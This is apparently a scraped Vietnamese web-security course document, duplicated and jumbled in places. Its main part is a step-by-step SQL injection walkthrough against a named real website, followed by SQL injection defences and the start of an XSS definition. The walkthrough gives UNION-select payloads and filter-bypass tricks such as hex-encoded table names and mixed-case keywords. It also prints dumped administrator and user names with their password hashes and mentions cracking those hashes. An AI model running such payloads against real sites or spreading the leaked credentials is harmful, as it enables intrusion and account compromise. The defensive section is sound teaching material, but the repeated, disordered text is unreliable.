1,2,3,4 Ở id nên để Null để kết câu truy vấn trả rỗng, show column bị lỗi, ta thấy cột số bị lỗi - Tiếp theo chạy http://www.abslatin.co.uk/node.php?id=null union select 1,2,3,version() để lấy thông tin Version Database thấy báo 5.1.73-log - Tiếp theo chạy http://www.abslatin.co.uk/node.php?id=5 union select 1,2,3, group_concat(table_name) from information_schema.tables where table_schema=database() để lấy danh sách bảng database thấy bảng sau administrators, album, events, gallery, links, news, p_album, p_categories, p_events, p_gallery, p_links, p_news,p_products, p_salsa, p_suscriptors, p_users, p_videos, salsa, suscriptors, users, videos - Tiếp theo chạy http://www.abslatin.co.uk/node.php?id=5 uNion seleCt 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e6973747261746f7273 đề lấy cột bảng administrators, phải thực phương pháp bypass filter addslashes() bạn chạy http://www.abslatin.co.uk/node.php?id=5 uNion seleCt 1,2,3,group_concat(column_name) from information_schema.columns where table_name=administrators không báo lỗi Unknown column 'administrators' in 'where clause' Với phương pháp ta convert tên administrators sang mã HEX sau thêm 0x vào trước kết để 0x61646d696e6973747261746f7273, kết ta thấy có cột id, user_name, user_password Bạn xem thêm cột bảng khác xem thêm cột bảng users sau http://www.abslatin.co.uk/node.php?id=5%20uNion%20seleCt %201,2,3,group_concat%28column_name%29%20from %20information_schema.columns%20where%20table_name=0x7573657273 thấy có cột IdUser,PasswordUser,NameUser - Tiếp theo chạy http://www.abslatin.co.uk/node.php?id=5 uNion seleCt 1,2,3,group_concat(id,0x2f,user_name,0x2f,user_password) from administrators để lấy username password admin bảng administrators, ta thấy thông tin sau: 1/admin/$P$Bstga7byV42vvh7WVT/pPFPZw6j7ET 2/annie/$P$BTUKe71XDGMYoJDlcc.6Nn72iIjPjU0 3/paul/$P$BgFBCcChouCvPmMIhKcHmnkwxBPCqB Để xem thêm username password user bảng users ta chạy http://www.abslatin.co.uk/node.php?id=5 uNion seleCt 1,2,3,group_concat(IdUser,0x2f,PasswordUser,0x2f,NameUser) from users thấy thông tin sau admin/0e4a20a448032584af3f285a2ad2d9d3/AMAUTA CONSULTORES annie/c34d257b21c744ba5ed8d6863ee34b8e/Annie - Tiếp theo tìm trang dăng nhập Admin cách, thử thủ công thêm /admin, /admincp, /login, v.v.v thử online dùng tool, với trang ta chưa tìm trang login Admin Có thể bị cấm hay ẩn - Ở ta thấy mật user admin bảng administrators mã hóa theo kiểu md5 Wordpress Hash nên phải giải mã, bước ta nên thử trang decrypt md5 online hay thử crack Kali Linux, kết qủa chưa được, nên thử lại tìm cách khác - Một ý trình thực bạn có thấy câu truy vấn có viết in hoa số từ uNion seLect, biện pháp nhằm để bypass qua kiểm tra - Khi bước hoàn thành, bạn có thể, login vào trang Admin hay Login vào Cơ sở liệu, thao tác - Nhằm mục đích học tập, lấy kinh nghiệm phòng chống, khuyên bạn không nên có hành vi mục đích xấu 5.1.4 Cách phòng chống bảo mật a Sử dụng ràng buộc hay giới hạn tham số truy vấn, kiểu tham số, thủ tục lưu trữ tham số (nên kết hợp với ràng buộc hay giới hạn tham số truy vấn) - Hãy loại bỏ kí tự meta ‘ “ /\ ; kí tự extend NULL, CR, LF, v v string nhận từ: input người dùng đệ trình, tham số từ URL, giá trị từ Cookies VD: "select * from table where columna=? and columnb=?" - Đối với giá trị numeric, chuyển sang integer trước query SQL, dùng ISNUMERIC để chắn số integer Cụ thể: - Sử dụng câu lệnh, tham số truy vấn qua chuẩn bị - Thủ tục lưu trữ tham số - Thoát khỏi tất user cung cấp đầu vào b Set quyền cho kết nối (Luôn sử dụng tài khoản với đặc quyền tối thiểu cần thiếtcho ứng dụng trong, không nên sử dụng từ "sa", "dba", "admin", tương đương.) - Thay đổi "Startup and run SQL Server" dùng mức low privilege user tab SQL Server Security - Xóa stored procedure database master mà không dùng như: xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask Hình 17 Cách phòng chồng công SQL Injection Hình 18 Cách phòng chồng công SQL Injection 5.2 Lỗi Cross Site Scripting (XSS) 5.2.1 Khái niệm Cross-Site Scripting (XSS) dạng công loại tiêm kích, script độc hại tiêm, nhúng hay chèn vào trang web khác đáng tin cậy mà người dùng thường không để ý Các công XSS xảy kẻ công sử dụng ứng dụng web để gửi mã độc hại, thường dạng kịch phía trình duyệt, cho người dùng cuối khác Trình duyệt người dùng cuối cách để phát kịch không tin tưởng chèn mã độc đó, thực thi kịch Kịch Tài liệu liên quan [...]... trình thực hiện các bạn có thấy trong câu truy vấn có viết in hoa 1 số từ như uNion seLect, biện pháp này nhằm để bypass qua sự kiểm tra - Khi 2 bước trên hoàn thành, bạn có thể, login vào trang Admin hay Login vào Cơ sở dữ liệu, và thao tác trên đó - Nhằm mục đích học tập, lấy kinh nghiệm và các phòng chống, khuyên các bạn không nên có các hành vi và mục đích xấu 5.1.4 Cách phòng chống và bảo mật a Sử... phòng chồng tấn công SQL Injection Hình 18 Cách phòng chồng tấn công SQL Injection 5.2 Lỗi Cross Site Scripting (XSS) 5.2.1 Khái niệm Cross-Site Scripting (XSS) là 1 dạng tấn công loại tiêm kích, trong đó các script độc hại được tiêm, nhúng hay chèn vào các trang web khác đáng tin cậy mà người dùng thường không để ý Các cuộc tấn công XSS xảy ra khi một kẻ tấn công sử dụng một ứng dụng web để gửi mã độc... administrators, ở đây phải thực hiện phương pháp bypass filter addslashes() nếu bạn chạy http://www.abslatin.co.uk/node.php?id=5 uNion seleCt 1,2,3,group_concat(column_name) from information_schema.columns where table_name=administrators là không được và sẽ báo lỗi Unknown column 'administrators' in 'where clause' Với phương pháp này ta sẽ convert tên administrators sang mã HEX sau đó thêm 0x vào trước kết quả để... một ứng dụng web để gửi mã độc hại, thường ở dạng của một kịch bản phía trình duyệt, cho một người dùng cuối khác nhau Trình duyệt của người dùng cuối không có cách nào để phát hiện kịch bản không tin tưởng và đã được chèn mã độc đó, và sẽ thực thi kịch bản Kịch bản Tài liệu liên quan ... CONSULTORES annie/c34d257b21c744ba5ed8d6863ee34b8e/Annie - Tiếp theo tìm trang dăng nhập của Admin bằng cách, thử thủ công như thêm /admin, /admincp, /login, v.v.v thử online hoặc dùng tool, với trang này ta chưa tìm được trang login Admin Có thể nó đã bị cấm hay ẩn - Ở đây ta thấy mật khẩu của user và admin trong bảng administrators đã được mã hóa theo kiểu md5 Wordpress Hash nên phải giải mã, bước này ta... đầu vào b Set quyền cho các kết nối (Luôn luôn sử dụng tài khoản với đặc quyền tối thiểu cần thiếtcho các ứng dụng trong, không nên sử dụng các từ "sa", "dba", "admin", hoặc tương đương.) - Thay đổi "Startup and run SQL Server" dùng mức low privilege user trong tab SQL Server Security - Xóa các stored procedure trong database master mà không dùng như: xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask... 1,2,3,group_concat(id,0x2f,user_name,0x2f,user_password) from administrators để lấy username và password của admin trong bảng administrators, ta thấy các thông tin sau: 1/admin/$P$Bstga7byV42vvh7WVT/pPFPZw6j7ET 2/annie/$P$BTUKe71XDGMYoJDlcc.6Nn72iIjPjU0 3/paul/$P$BgFBCcChouCvPmMIhKcHmnkwxBPCqB Để xem thêm username và password của user trong bảng users ta chạy http://www.abslatin.co.uk/node.php?id=5 uNion... loại bỏ các kí tự meta như ‘ “ /\ ; và các kí tự extend như NULL, CR, LF, v v trong các string nhận được từ: input do người dùng đệ trình, các tham số từ URL, các giá trị từ Cookies VD: "select * from table where columna=? and columnb=?" - Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer Cụ thể: - Sử dụng những câu lệnh,

Ngày đăng: 29/03/2016, 11:36

Từ khóa liên quan

Tài liệu cùng người dùng

Tài liệu liên quan